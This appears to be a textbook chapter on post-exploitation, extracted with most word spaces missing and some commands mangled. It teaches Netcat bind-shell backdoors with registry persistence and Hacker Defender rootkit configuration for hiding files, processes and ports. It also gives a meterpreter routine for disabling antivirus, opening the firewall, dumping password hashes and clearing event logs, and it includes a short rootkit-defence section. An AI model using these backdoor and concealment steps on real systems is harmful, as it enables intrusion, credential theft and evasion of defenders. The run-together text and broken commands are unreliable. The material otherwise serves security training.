Netcat:TheSwissArmyKnifeNetcat is an incredibly simple and unbelievably flexible tool that allowscommunication and network traffic to flow from one machine to another.AlthoughNetcat’sflexibilitymakesitanexcellentchoiceforabackdoor, therearedozensof additional uses for this tool.Netcat canbeused to transfer filesbetweenmachines, conduct port scans, serve as a lightweight communicationtool allowing instantmessenger/chat functionality, and evenwork as a simplewebserver!Wewillcoverthebasicshere,butyoushouldspendtimepracticingandplayingwithNetcat.Youwillbeamazedatwhatthistooliscapableof.Itisnicknamedthe“swissarmyknife”forareason.Netcat was originally written and released byHobbit in 1996 and supports

sending and receiving both transmission control protocol (TCP) and userdatagramprotocol(UDP)traffic.Netcatcanfunctionineitheraclientorservermode. When it is in client mode, the tool can be used to make a networkconnection to another service (including another instance of Netcat). It isimportant to remember that Netcat can connect from any port on your localmachine to any port on the targetmachine.WhileNetcat is running in servermode,itactsasalistenerwhereitwaitstoacceptanincomingconnection.

ALERT!If you are following along andwant to practice this section, youwillneedNetcat installed inat least twovirtualmachines (VMs).Oneinstanceshouldbeinstalledintheattackermachineandoneinthe target/victim. Netcat is preinstalled in both Backtrack andMetasploitable. If you have not yet compromised theMetasploitable VM, you may need to install Netcat on yourWindows target before proceeding. Later in this chapter, wewilldiscuss executing commands remotely, but for now (while wepractice),youwillbetypingthecommandsateachlocalterminal.

Let us start with a very basic example of how we can use Netcat. In thisexample,wewill set upNetcat to serve as a communication channel betweentwomachines.To set this upon the target/victimmachine,we simplyneed to

chooseaportandinstructNetcattoruninlistenermode.AssumingyourtargetisaLinuxmachine,issuingthefollowingcommandinaterminalwillaccomplishthistask:

nc–l–p1337

Inthecommandabove,“nc”isusedtoinvoketheNetcatprogram.The“–l”isused to put Netcat into a listenermode. The “–p” is used to specify the portnumber we want Netcat to listen on. After issuing the command, Netcat isrunningandwaitingtoacceptanincomingconnectiononport1337.NowthatwehaveNetcatlisteningonthetargetmachine,wecanmovetothe

attackermachine.Tomakeaconnection to the listeningmachine,we issue thefollowingcommand:

nc192.168.18.1321337

Running this command from the second PC will force Netcat to attempt aconnectiontoport1337onthemachinewithanInternetprotocol(IP)addressof192.168.18.132.BecausewehavesetupthefirstPCtoactasalisteneronthatport,thetwoPCsshouldnowbeabletocommunicate.Wecantestthisbytypingtext intoeither terminalwindow.Anything thatwe type into the terminal fromeithermachinewillbedisplayedintheterminalwindowofbothmachines.Thisis because the keyboard is acting as the standard input and Netcat is simplytransportingthedataentered(keystrokes)overtheconnection.To end the “chat” and close the session, we can issue the Ctrl + C key

combination; this will terminate the Netcat connection. Figure 7.1 shows anexampleofthistypeofcommunicationbetweentwocomputers.

FIGURE7.1 Usingnetcattocommunicatebetweentwocomputers.

ItisimportanttounderstandthatonceyoukillorclosetheNetcatconnection,youwillneedtorestartthelisteneronthetargetmachinebeforemakinganotherconnection.ConstantlyneedingtoconnecttothetargetmachinetorestartNetcatis not very efficient. Fortunately, if you are using theWindowsversionof theprogram,Netcatprovidesawaytoavoidthisissue.IntheWindowsversionofNetcat,ifwestartNetcatinlistenermodeusinga“–L”(switch)ratherthana“–l”,thetargetwillkeeptheconnectionopenonthespecifiedportevenaftertheclientdisconnects.Inmanyways,thismakestheprogrampersistent.Ofcourse

tomake it truly persistent, youwould need to add the command to run everytimethemachinestarts.OnaWindowsmachine,thiscouldbeaccomplishedbyadding the Netcat program to theHKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run

registryhive.Unfortunately,intermsofmakingapersistentnetworkconnection,theLinux

version ofNetcat is not quite so straightforward. In order tomake theNetcatconnection persistent on a Linuxmachine, youwould have to write a simplebashscriptthatforcesNetcattorestartwhentheoriginalconnectionisclosed.Ifyouareinterestedincreatingapersistentconnection, therearemanyexamplestobefoundontheInternet.Although theprevious example is an interestinguseofNetcat andgreat for

demonstratingtheflexibilityandpowerofthetool,inreality,youwillprobablyneveruse the“chat” featureduringapenetration test.On theotherhand,onceyou have gotNetcat uploaded to your target system, there aremany practicalusesforthetool.Letustakealookatsomethingabitmoreadvantageous,liketransferringfiles.Moving files between computers is easywhenwe have got theMeterpreter

shellrunningbutremember,wedonotwanttohavetoexploitthetargeteverytime.Rather, the goal is to exploit once and then leave a backdoor sowe canreturnatalaterdate.IfweuploadNetcattothetarget,wecanusetheprogramtotransferfilestoandfromourtargetacrossanetwork.For this example, assume you want to upload a new file from your attack

machine to the targetmachine.WithNetcat runningon the targetmachine,weissuethefollowingcommand:

nc–l–p7777>virus.exe

This commandwill force the target to listen for an incomingconnectiononport7777.Anyinputthatisreceivedwillbestoredintoafilenamed“virus.exe”.Fromour localmachine,weneed touseNetcat tomakeaconnection to the

targetandspecifythefilewewanttosendtothetarget.Thisfilecanbeofanytype and have any extension (.exe, .doc, .pdf, .bat, .com, .iso, etc.); in thisexample,weareuploadingafilecalled“virus.exe”.Ifyouarefollowingalong,yoursystemwillnothavea“virus.exe”file.However,anyfilefromyourattackmachinewillwork,simplyreplacethe“virus.exe”withthefileordocumentyouwant to transfer to the victim. We begin the upload process by issuing thefollowingcommand:

nc172.16.45.1297777<virus.exe

Unfortunately,bydefaultNetcatdoesnotprovideyouany typeof feedback

letting you know when the transfer has been completed. Because you willreceiveno indicationwhen theupload isdone, it isbest to justwait fora fewsecondsandthenissueaCtrl+Ctokilltheconnection.Atthispoint,youshouldbe able to run the “ls” command on your target machine and see the newlycreatedfile.Figure7.2showsanexampleofthisprocess.

FIGURE7.2 Usingnetcattotransferfiles.

Naturally,youcould setupaNetcat connection topull files from the targetmachinebyreversingthecommandsabove.Oftentimesduringapenetrationtest,youwilldiscoveropenportsthatprovide

little or no additional information. Youmay run across situations where bothNmap andNessus are unable to discover the service behind the port. In thesecases,itcanbebeneficialtouseNetcattomakeablindconnectiontotheport.Onceyouhavemadetheconnection,youbeginsendinginformationtotheportby typingon the keyboard. In some instances, the keyboard inputwill elicit aresponse from the service. This response may be helpful in allowing you toidentifytheservice.Considerthefollowingexample.Assume you are conducting a penetration test on a target serverwith an IP

addressof192.168.18.132.Duringthescanningprocess,youdiscoverthatport50001 is open.Unfortunately, neither your port scanner nor your vulnerabilityscannerswereabletodeterminewhatservicewasrunningbehindthereport.Inthiscase,itcanbehandytouseNetcattointeractwiththeunknownservice.Toforce Netcat to attempt a connection to the service, we simply enter thefollowingcommand:

nc192.168.18.13250001

ThiscommandwillattempttocreateaTCPconnectiontotheportandservice.ItisimportanttonotethatifyouneedtointeractwithaUDP-basedservice,youcan force Netcat to send UDP packets by issuing the “–u” switch. Once theconnectionismade,inmostcases,itiseasiesttosimplyentersometextandhitreturn key to send the text to the service. If the service responds to theunexpectedrequest,youmaybeabletoderiveitsfunction.Figure7.3showsan

exampleofthis.

FIGURE7.3 Usingnetcattointerrogateunknownservices.

Asyoucan see,weusedNetcat tocreateaconnection toport50001.Onceconnected,thetext“test”wassentthroughtheconnection.Theservicereturnedwitharesponsethatclearlyindicatesthatthemysteriousserviceisawebserver.And even more important, the server has fully identified itself as an Apacheserverrunningversion2.2.8onaLinuxUbuntumachine!IfyouarefollowingalonginwithMetasploitable,youcanrerunthisexercisebyconnectingtoport80onyourtarget.Finally,wecanuseNetcat tobind itself toaprocessandmake thatprocess

availableoveraremoteconnection.Thisallowsustoexecuteandinteractwiththeboundprogramasifweweresittingatthetargetmachineitself.IfwestartNetcat using the “–e” switch, it will execute whatever program we specifydirectlyafterthe“–e”.Theprogramwillexecuteonthetargetmachineandwillonlyrunonceaconnectionhasbeenestablished.The“–e”switchisincrediblypowerfulandveryusefulforsettingupabackdoorshellonatarget.To set up a backdoor, we will need to utilize the “–e” switch to bind a

commandshellfromthetargetmachinetoaportnumber.BysettingupNetcatinthis manner, later when we initiate a connection to the specified port, theprogramlistedafterthe“–e”switchwillrun.IfweareusingaLinuxmachine,wecanaccomplishthisbytypingthefollowingintoaterminalwindow:

nc–l–p12345–ebinsh

This will cause the target to serve up a shell to whoever connects to port12345.Again,anycommandssentfromtheNetcatclient(attackmachine)tothetargetmachinewillbeexecutedlocallyasiftheattackerweresittingphysicallysittingatthetarget.

ThistechniquecanalsobeusedonaWindowsmachine.Toprovidecommandlinebackdooraccess intoaWindowsmachine,wewouldrun thefollowingonthetarget(inaterminalwindow):

nc.exe–L–p12345c:\Windows\System32\cmd.exe

ALERT!Notice,becausethisisaWindowsmachine,weareusingthe“–L”switch to make our connection persistent. If we close theconnectionfromourmachine,Netcatwillcontinuelisteningonthespecifiedport.Thenext timeweconnect to themachine, thecmdshellwillbewaitingandwillexecuteforus.

To put the preceding example into context and hopefully make it moreconcreteforyou, letusexaminethefollowingscenario toshowhowwecouldimplementNetcatasabackdoor.Consider the followingexample:assume thatwe have successfully exploited a Windows target. Being forward-thinkingpenetrationtesters,wedecidetocreateamorestablebackdoortothissystemsothat we can return later. In this case, we have decided to use Netcat as ourbackdoorsoftware.ThefirstorderofbusinesswouldbetouploadNetcattothetargetmachine;in

thisexample,theNetcatexecutablehasbeenuploadedtothetarget’sSystem32directory.LetusassumethatweutilizedtheknowledgegainedfromChapter4andwearecurrentlyusingtheMeterpretershelltointeractwithourtarget.OncewehaveaMeterpretershellonourtarget,wecanuploadtheNetcatfile tothevictimbyissuingthefollowingcommand:

meterpreter>uploadnc.exec:\\windows\\system32

Note:YouwillneedtouploadtheWindows(.exe)versionofNetcatbecausethetargetisrunningWindows.Inthiscase,wehaveuploadedthenc.exeprogramtotheWindows\System32

directory.Thiswillallowustoaccessthecmd.exeprogramdirectly.OnceNetcathas been transferred to the targetmachine,we need to choose a port number,bind the cmd.exe program, and start Netcat in server mode. This will forceNetcat to wait for an incoming connection on the specified port. To performthesetasks,weissuethefollowingcommandinaterminal(again,assumingyou

arealreadyinthesamedirectoryasNetcat).meterpreter>nc–L–p5777–ecmd.exe

At thispoint,Netcatshouldberunningonour targetmachine.Remember ifyouwereinterestedinmakingthisbackdoortrulypersistent,withtheabilitytosurvive a reboot, youwouldneed to set theNetcat command to automaticallystartintheWindowsregistry.OnceNetcatissetup,itispossibletocloseourMeterpretershellandmakea

connectiontothetargetusingNetcat.ThereshouldbelittledoubtinyourmindthatNetcatisatrulypowerfuland

flexible tool. In this section,wehavebarely scratched the surface. Ifyou takesometimetodigdeeper into theprogram,youwill find thatpeoplehavebeenabletoperformsomeratheramazingthingsusingNetcat.Youareencouragedtolookintosomeofthesecleverimplementationsbysearchingtheweb,theresultswillamazeyou.

Netcat’sCrypticCousin:CryptcatAlthoughNetcatprovidessomeamazingqualities,theprogramdoeshaveafewshortcomings. First off, it is important to understand that all traffic passedbetween a Netcat client and server is done so in clear text. This means thatanyone viewing traffic or sniffing the connection will be able to view andmonitoralltheinformationsentbetweenthemachines.Cryptcatwasintroducedto address this issue. Cryptcat utilizes twofish encryption to keep the trafficbetweentheclientandtheserverconfidential.ThebeautyofCryptcatis thatyoudonotneedtolearnanynewcommands.

IfyouhavealreadymasteredNetcat,thenyouhavealreadymasteredCryptcat;butwithCryptcat,youhavetheaddedbenefitoftransportingyourdatausinganencryptedtunnel.Anyoneviewingoranalyzingyournetworktrafficwillnotbeabletoseeyourinformationasitpassesbetweentheclientandlistener.OneimportantnoteaboutCryptcat,youshouldalwayschangethedefaultkey.

Ifyoufailtochangethedefaultkey,anyonewillhavetheabilitytodecryptyoursession.Thedefaultkeyismetallicaandcanbechangedusingthe“–k”switch.TosetupanencryptedtunnelbetweentwomachinesusingCryptcat,youcan

issuethefollowingcommands:(1)Starttheserver:cryptcat–l–p5757

(2)Starttheclient:cryptcat192.168.18.1325757

Younowhaveanencryptedtunnelsetupbetweenthetwomachines.

RootkitsJustlikeMetasploit,whenpeoplearefirstexposedtothepowerandcunningofrootkits,theyareusuallyamazed.Totheuninitiated,rootkitsappeartohaveanalmost black-magic-like quality. They are usually simple to install and canproduce amazing results.Running a rootkit gives you the ability to hide files,processes, and programs as if they were never installed on the computer.Rootkits can be used to hide files from users and even the operating systemitself.Becauserootkitsaresoeffectiveathidingfiles,theywilloftenbesuccessful

at evading even themost finely tuned antivirus software. The name rootkit istypically said to be a derivative of the words “root”, as in root-level oradministrativeaccess,andthe“kit”orcollectionoftoolsthatwereprovidedbythesoftwarepackage.

ALERT!Aswitheverythingelseandevenmoresointhiscase,youmustbe100%surethatyourclientauthorizestheuseofrootkitsbeforeyoudeploy them in a penetration test. Utilizing a rootkit withoutauthorizationwillbeasurewaytoquicklyendyourcareerandputyoubehindbars.Evenifyouhavebeenfullyauthorizedtoconductapenetrationtest,doubleandtriplecheckthatyouarespecificallyauthorizedtoutilizearootkit.

Aswealreadymentioned, rootkits areextremely stealthy.Theycanbeusedfor a variety of purposes including escalatingprivileges, recordingkeystrokes,installingbackdoors,andothernefarioustasks.Manyrootkitsareabletoavoiddetection because they operate at amuch lower level of the operating systemitself,insidethekernel.Thesoftwarethatuserstypicallyinteractwithfunctionsatahigherlevelofthesystem.Whenapieceofsoftwarelikeantivirusneedstoperformaparticulartask,itwilloftenpasstherequestofftothelowerlevelsof

the operating system to complete the task.Recall that some rootkits live deepinside the operating system.They can alsowork by “hooking” or interceptingthesevariouscallsbetweenthesoftwareandoperatingsystem.Byhookingtherequestfromapieceofsoftware,therootkitisabletomodify

thenormalresponse.Considerthefollowingexample:assumethatyouwanttoseewhatprocessesarerunningonaWindowsmachine.Toaccomplishthis,mostuserswilldepress thekeycombination“Ctrl+Alt+Del”.Thiswillallowtheuser to start the taskmanager and view running processes and services.Mostpeopleperformthistaskwithoutthinkingaboutit.Theyexaminetheprocesslistpresentedandmoveon.While the following is a gross oversimplification, it should serve as an

exampletohelpyouunderstandthebasics.Inthiscase,softwareismakingacalltotheoperatingsystemandaskingwhatprocessesorservicesarerunning.Theoperatingsystemqueriesalltherunningprogramsitisawareofandreturnsthelist.However,ifweaddarootkittothemix,thingsgetalittlemorecomplicated.Becauserootkitshavetheabilitytointerceptandmodifytheresponsesreturnedbytheoperatingsystem,whenauserattemptstoviewtheprocesslist,therootkitcansimplyremoveselectedprograms,services,andprocessesfromthelist.Thishappens instantaneously and the user is not aware of any differences. Theprogramitselfisactuallyfunctioningperfectly.Itisreportingexactlywhatitwastoldbytheoperatingsystem.Inmanysensesoftheword,therootkitiscausingtheoperatingsystemtolie.It is important to point out that a rootkit is not an exploit. Rootkits are

something that is uploaded to a system after the system has been exploited.Rootkits are usually used to hide files or programs and maintain stealthybackdooraccess.

HackerDefender:ItisNotWhatYouThinkFirstthingsfirst;donotletthenamefoolyou,HackerDefenderisarootkit.Itisnotawaytodefendhackers!HackerDefenderisafull-fledgedWindowsrootkitthat is relatively easy to understand and configure. Hacker Defender is aWindows rootkit,meaningyouwill need todeploy it on aWindowsmachine.YouwillalsoneedtosearchtheInternetforacopyofHackerDefender,justbesure to be more cautious and wary when intentionally downloading andinstallingmalware!There are threemain files includedwithHackerDefender that youmust be

awareof: hxdef100.exe, hxdef100.ini, andbdcli100.exe.Although the .zip filewill include several other files, we will focus our attention on these three.Hxdef100.exe is the executable file that runs Hacker Defender on the targetmachine.Hxdef100.iniistheconfigurationfilewherewesetuptheoptionswewant to use and list the programs, files, or services that we want to hide.Bdcli100.exe is the client software that is used to connect directly to HackerDefender’sbackdoor.Onceyouhaveuploadedthehsdef100.zipfiletoyourtarget,youwillneedto

unzipit.Tokeepthingsassimpleaspossible,itisbesttocreateasinglefolderontherootofthetargetdrive.Forthepurposeofthisexample,wewillcreateafolder on the C:\ drive called “rk” (for rootkit). All the files including thehxdef100.zip and its uncompressed contents are placed into this single folder.Thiswillmake iteasier tokeep trackof thefiles,provideacentral location touploadadditionaltoolsto,andmakehidingthiscentralrepositorymucheasier.Onceyouhaveunzipped thehxdef100 file, you canbegin configuringHackerDefenderbymodifyingthehxdef100.inifile.Onceyouopenthe.inifile,youwillseeanumberofdifferentsections.Each

majorsectionbeginswithanameenclosedinasquarebracket.Figure7.4showsanexampleofthedefaultconfigurationfile.

FIGURE7.4 Screenshotofthehxdef100.iniconfigurationfile.

As you can see in Figure7.4, there are several headings including [HiddenTable], [Hidden Processes], [Root Processes], [Hidden Services], and others.

YouwillalsonoticethatHackerDefenderconfigurationfileincludesacoupleofdefaultentries.TheseentriesareusedtohidetheHackerDefenderfilesandbuiltin backdoor so you do not have tomodify these ormake additional changes.Noticetoothatthe.inifilesupportstheuseofwildcardswiththe“∗”character.Inthiscase,anyfilethatstartswiththelettershxdefwillautomaticallybeincludedinthelist.Start at the top andwork yourway through each of the headings. The first

sectionistitled[HiddenTable].Anyfiles,directories,orfolderslistedunderthisheadingwillbehiddenfromtheexplorerandfilemanagerusedbyWindows.Ifyoucreatedafolderontherootofthedriveassuggestedearlier,besuretolistithere. Building off of this previous example, we will list “rk” in the [HiddenTable]section.Inthe[HiddenProcesses]section,youlisteachoftheprocessesorprograms

youwanttobeconcealedfromtheuser.Eachoftheprocesseslistedherewillbehiddenfromthelocaluserwhentheyviewcurrentlyrunningprocesseswiththetask manager. As a nonmalicious example, assume you want to hide thecalculator program. In this case, you will need to list the calculator programunder the [Hidden Processes] section. By adding calc.exe to the [HiddenProcesses] section, the userwill no longer be able to find or interactwith thecalculatorprogram.Onceour rootkit isstarted,as faras theuser isconcerned,thereisnocalculatorprogramavailableonthecomputer.The [RootProcesses] section isused toallowprograms to interactwithand

viewthepreviouslyhiddenfoldersandprocesses.Rememberthatintheprevioussections, wewere removing the computer’s ability to detect, see, and interactwith various files and programs. In this section,we list any programs thatwewanttohavefullcontrol.Anyprogramslistedherewillbeallowedtoviewandinteract with programs on the system, including those listed in the [HiddenTable]and[HiddenProcesses]tab.Ifyouhaveanyprogramsthatwillinstallasaserviceorrunserviceslikefile

transferprotocol,webservers,backdoors,etc.,youwillneedtolisttheminthe[HiddenServices]section.Likeeachoftheothersections,the[HiddenServices]sectionwill hide each of the listed services.Again,when interactingwith thetaskmanager,anyprogramlistedherewillbeconcealedfromthe“services”list.Youcanusethe[HiddenRegKeys]tohidespecificregistrykeys.Almostall

programs create registry keys when they are installed or run on a computer.The [HiddenRegKeys] sectioncanbeused to camouflageeachof thesekeys.Youwillneedtomakesurethatyoulistthemallinordertoavoiddetection.

Some instances requiremore granular control than simply hiding the entirekey.Ifanentirekeyismissing(orhidden),akeensystemadministratormaygetsuspicious. To handle these instances, Hacker Defender allows us to use the[HiddenRegValues].Enteringinformationherewillhideindividualvaluesratherthantheentirekey.The [StartupRun] is a list of programs thatwill be automatically run once

HackerDefenderhasbeenstarted.ThiswouldbeagoodplacetolisttheNetcatcommandifyouwereinterestedincreatingabackdoor.Justmakesureyouputitinlistenermode!Just as installing programs on a Windows machine automatically creates

registry keys and values, installing programs onto a target requires disk drivespace.Hereagain,acunningadministratormaynoticeifyouinstallaprogramthatrequireslotofdiskspace.Ifauserstartshisorhercomputeronemorninganddiscoversthatoverhalfoftheharddrivespaceissuddenlyinuse,heorshewillprobablybecomesuspicious.Youcanusethe[FreeSpace]sectiontoforcethecomputerto“addback”theamountoffreespacethatyouused.Enteringanumberherewillforcethecomputertoreporttheactualavailablefreespaceplusthenumberyouenterinthissection.Inotherwords,ifyouinstallaprogramthatrequires1GBoffreespace,youshouldadd1073741824underthe[FreeSpace]heading.Doingsowill lessen the likelihoodofdiscovery.Pleasenote that thisnumberislistedinbytes.Ifyouneedhelpinconvertingfrombytestokilobytestomegabytes to gigabytes, there are several good calculators available online.SimplyGoogle“kilobytestomegabytescalculator”anduseoneofthesuggestedpagesreturned.If you know of ports that you plan to open, you can list them under the

[HiddenPorts] section.Youwill notice this section is furtherdividedwith thefollowingentries:TCPI,TCPO,andUDP.The“TCPI:”subsectioniswhereyoulistanyinboundportsthatyouwanthiddenfromtheuser.Ifyouhavemultipleports tolist,simplyseparatethembyacomma.The“TCPO:”sectioniswhereyoulistanyoutboundTCPportsthatyouwanttobehiddenfromtheuser.The“UDP:”sectionisusedtospecifyanyUDPportsthatyouwantconcealed.Now that you have an idea of how to configure the basicHackerDefender

settings, let us examine the tool in action. For this example, we will installHackerDefender ina folderon theC:\drivecalled“rk”.Wewill alsoplaceacopy of Netcat into this folder. Figure 7.5 shows an example of the .iniconfigurationfile.

FIGURE7.5 Newlyconfiguredhxdef100.inifile.

Youwill notice that only a few extra lines have been added to the defaultconfigurationfile.Inthisexample,wehaveaddedthe“rk”foldertothe[HiddenTable] section, the Netcat executable to the [Hidden Processes] section, andlastly,setupNetcattoautomaticallystartupinservermodeandprovideacmdshell on port 8888 of the target. If you wanted to add an additional layer ofstealth,youcouldalsoadd8888tothe[HiddenPorts]section.Figure7.6 shows two screenshots prior to startingHackerDefender.Notice

thatboththe“rk”folderandtheNetcat(nc.exe)programarevisible.

FIGURE7.6 Priortorunningtherootkitbothfolderandprogramarevisible.

However,oncethehxdef100.exefilehasbeenexecuted,therootkitisinfullforce. Figure 7.7 demonstrates that neither the “rk” folder nor the “nc.exe”programisvisibletotheuser.

FIGURE7.7 Afterrunningtherootkitbothfolderandprogramareinvisible.

Asyoucansee,evenasimplerootkitlikeHackerDefenderisquitecapableofmaskingandhidingfiles.Rootkitsareavasttopicandwecouldeasilydedicatean entire book to the technical details and their makeup and inner workings.Rootkittechnology,likeallmalware,continuestodevelopatastaggeringpace.In order to truly master rootkits, you will need to begin with a solidunderstanding of the operating system kernel. Once you finish covering thebasics,youarehighlyencouragedtodiveintothemalwarerabbitholeandseejusthowdeepitgoes.

DetectingandDefendingAgainstRootkitsLet us break from the normal convention of this book and take a minute todiscuss a few defensive strategies for dealing with rootkits. Because we arefocusingonthebasics,defendingagainstmanyofthetechniquescoveredintheearlierstephasbeenquitesimple:CloselymonitortheinformationyouputontotheInternet.Properlyconfigureyourfirewallandotheraccesscontrollists.

Patchyoursystems.Installanduseantivirussoftware.Makeuseofanintrusiondetectionsystem.Although the list is not nearly complete, it is a good starting point for

defendingsystems.However,evenwithallofthoseprocessesinplace,rootkitscanstillposeadanger.Defending against and detecting rootkits takes a few extra steps. It is

important to understand that in order to configure and install a rootkit,administrative access is required. So the first step in avoiding rootkits is todeprivilegeyourusers.ItisnotuncommontofindnetworksthatareloadedwithWindowsmachineswhere every user is amember of the administrator group.Usually when inquiring as to why every user is an administrator, the supportstaffsimplyshrugstheirshouldersorprovidesomelameexcuseabouttheuserneedingtobeadministratorstorunaparticularpieceofsoftware.Really?Comeon.This is not 1998.There are very few legitimate reasons for allowing yourusers to run around with full admin rights. Most modern operating systemsprovidetheabilitytotemporarilyelevateyourprivilegeswiththe“su”or“RunAs”commands.Althoughitistruethatmanyrootkitsfunctionatthekernellevelandhavethe

abilitytoavoiddetectionbyantivirussoftware,installing,using,andkeepingthesoftware up-to-date is critical. Some rootkits, especially the older and lesssophisticated versions, can be detected and cleaned by modern antivirussoftware.It isalso important tomonitor the trafficcomingintoandgoingoutofyour

network.Manyadministratorsaregreatatmonitoringandblockingtrafficas itflowsintothenetwork.Theyspenddaysandevenweekshoningtheirrulesetstoblock incoming traffic.At thesame time,manyof theseadminscompletelyignorealloutboundtraffic.Theybecomesofocusedontheincomingtrafficthattheyforgettowatchwhatisleaving.Monitoringoutboundtrafficcanbevitalindetectingrootkitsandothermalware.Taketimetolearnaboutegressfiltering.Anothergood tactic fordetecting rootkitsandbackdoors is to regularlyport

scanyoursystems.Makenoteofeachopenportoneachofyoursystems.Ifyoufind a systemwith an unknown port open, be sure to track down the PC andidentifytherogueservice.Tools likeRootkitRevealer,Vice, andF-Secure’sBlacklight are somegreat

free options for revealing the presence of hidden files and rootkits.Unfortunately, once a rootkit has been installed, it can be very difficult to

remove,orat least to removecompletely.Sometimes, rootkit removal requiresyou to boot yourmachine into an alternate operating system andmount youroriginalharddrive.Bybootingyourmachinetoanalternateoperatingsystemormountingthedrivetoanothermachine,youcanscanthedrivemorethoroughly.BecausetheoriginaloperatingsystemwillnotberunningandyourscannerwillnotbeusingAPIcallsfromaninfectedsystem,itismorelikelyyouwillbeabletodiscoverandremovetherootkit.Evenwithallofthis,oftentimesyourbestbetistosimplywipethesystem,includingafullformat,andstartover.

Meterpreter:TheHammerthatTurnsEverythingintoaNailIf you learn only one Metasploit payload, it better be meterpreter. We havebrieflymentionedthemeterpreterpayloadandevenuseditafewtimesoverthepastfewchapters.Theamountofpowerandflexibility thatameterpretershellprovidesisbothstaggeringandbreathtaking.Onceagain,meterpreterallowsusto“hacklikethemovies”butmoreimportantlymeterpreterincludesaseriesofbuilt-incommands,whichallowanattackerorpenetrationtestertoquicklyandeasilymovefromthe“exploitation”phasetothe“postexploitation”phase.Inordertousethemeterpretershell,youwillneedtoselectitasyourpayload

inMetasploit.YoucanreviewthedetailsofthisprocessinChapter4.Onceyouhave successfully exploitedyour target andhaveaccess to ameterpreter shell,youcanquicklyandeasilymoveintopostexploitation.Thefulllistofactivitiesthat meterpreter allows is too long to be covered here but a list of basiccommands and their description are presented below. In order to betterunderstand thepowerof this tool,youareencouragedtoreexploitoneofyourvictimmachinesandrunthrougheachofthecommandspresentedinTable7.1.Inordertoexecutethecommandonthevictimmachine,yousimplyenteritafterthe“meterpreter>”prompt.

Table7.1BasicMeterpreterCommands

catfile_name Displaysthecontentsofthespecifiedfile.

cd,rm,mkdir,rmdir SamecommandandoutputasatraditionalLinuxterminal.

clearev Clearsallofthereportedeventsintheapplication,system,andsecuritylogsonthetargetmachine.

download<source_file>

<destination_file>Downloadsthespecifiedfilefromthetargettothelocalhost(attackingmachine).

edit ProvidesaVIMeditor,allowingyoutomakechangestodocuments.

execute–ffile_name Runs/executesthespecifiedfileonthetarget.

getsystem Instructsmeterpretertoattempttoelevateprivilegestothehighestlevel.

hashdump Locatesanddisplaystheusernamesandhashesfromthetarget.ThesehashescanbecopiedtoatextfileandfedintoJohntheRipperforcracking.

idletime Displaysthelengthoftimethatthemachinehasbeeninactive/idle.

keyscan_dump Displaysthecurrentlycapturedkeystrokesfromthetarget’scomputer.Note:Youmustrunkeyscan_startfirst.

keyscan_start Beginskeystrokeloggingonvictim.Note:Inordertocapturekeystrokesyouwillneedtomigratetotheexplorer.exeprocess.

keyscan_stop Stopsrecordinguserkeystrokes.

killpid_number Stops(kills)thespecifiedprocess.TheprocessIDcanbefoundbyrunningthe“ps”command.

migrate Movesyourmeterpretershelltoanotherrunningprocess.Note:Thisisaveryimportantcommandtounderstand!

ps Printsalistofalloftherunningprocessesonthetarget.

reboot/shutdown Rebootsorshutdownthetargetmachine.

screenshot Providesascreenshotfromthetargetmachine.

search–ffile_name Searchesthetargetmachineforthespecifiedfile.

sysinfo Providessysteminformationaboutthetargetmachineincludingcomputername,operatingsystem,servicepacklevel,andmore.

upload<source_file>

<destination_file>Uploadsthespecifiedfilefromyourattackingmachinetothetargetmachine.

As you can see, Table 7.1 provides a substantial list of complex activities,whichthemeterpretershellmakessimple.Thissinglepayloadallowsustoveryeasily perform a series of post exploitation activities including migrating theprocess to one which is more stable, disable or kill antivirus, upload files,executefiles,edit,copy,anddeletefiles,escalateprivileges,dumphashes,installand display keystrokes, take screenshots of the victims computer, and manymorewhichwere not covered in this list including taking over theweb cam,editingtheregistry,modifyingthetarget’sroutingtableandothers!With all these choices, you may feel a bit overwhelmed or perhaps more

accurately,youfeellikeakidinacandystore.Belowyouwillfindasimplifiedmethodologyforconductingpostexploitationwithmeterpreter.Itisimportanttounderstand that this simplified approach is just one of the many options forimplementingmeterpreter.

(1)Exploitanddropmeterpreterpayloadonthetarget.(2)Usethe“migrate”commandtomovemeterpretertoacommonprocess,

whichisalwaysrunningandnotwellunderstood.Servicehost(svchost.exe)isaperfectexample.

(3)Usethe“kill”commandtodisableantivirus.(4)Usethe“shell”commandtoaccessacommandpromptonthetarget

machineandusethe“netshadvfirewallfirewall”commandtomakechangestotheWindowsfirewallsettings(allowingaconnectionorportthrough).

(5)WiththeAVdisabled,usethe“upload”commandtouploadatoolkitwhichincludesarootkitandseveralothertoolswehavediscussedinthisbook(nmap,Metasploit,JohntheRipper,Netcat,etc.).

(6)Installtherootkitwiththe“execute–f”command.(7)Ifyourrootkitdoesnotincludeabackdoor,installNetcatasapersistent

backdoorusingthe“execute–f”command.(8)Modifyregistryusingthe“reg”commandinordertoensurethatNetcat

ispersistent.(9)Dumpthepasswordhashesusingthe“hashdump”commandanduse

Johntocrackpasswords.(10)Configuretherootkit.inifiletohidetheuploadedfiles,backdoor,newly

openedportsusingthe“edit”command.(11)Testtheuploadedbackdoorbymakinganewconnectionfromthe

attackermachinetothetarget.(12)Cleartheeventlogsusingthe“clearev”command.(13)Pillageorpivottonexttarget.Again,giventhepowerandflexibility,youroptionsforpostexploitationare

nearly limitless.Spendasmuch timeaspossibledigging into thepayload andbecomingameterpretermaster.

HowDoIPracticeThisStep?Likeeachofthepreviousstepsthathavebeencovered,becomingproficientwithpost exploitation tactics and techniques requires practice. Working with toolslikeNetcat can seemabit confusing at first, especiallywhenweuse the “–e”switchtoprovidebackdoorfunctionality.ThebestwaytopracticethistechniqueistosetuptwomachinesandpracticeimplementingNetcatbetweenthem.ThemoreyouuseNetcat,themorecomfortableyouwillbecomewiththeconcept.Youshouldpracticebothsendingandreceivingfilesfromeachmachine.Itis

importanttounderstanddirectionalityandexactlyhowtouseNetcattoperform

this taskbothways(downloadanduploading).Once thebasicsofsendingandreceiving files have been mastered, begin focusing on using Netcat as abackdoor. Remember the “–e” switch is vital in performing this task. FullyunderstandinghowtoimplementNetcatasabackdoorwillrequiresettingupthetool in listener mode on the target and making a connection to it from theattackermachine.Besuretopracticesettingupabackdoorandestablishingaconnectionwith

bothLinuxandWindows. It is important tomaster thedifferencebetween theLinux and Windows versions. Remember, a Windows Netcat version canconnect to a Linux version and vice versa; however, there are several minordifferencesintheswitchesandfunctionalityofeachprogram.Finally,afterbecomingproficientwiththebasicsofNetcat,besuretoexplore

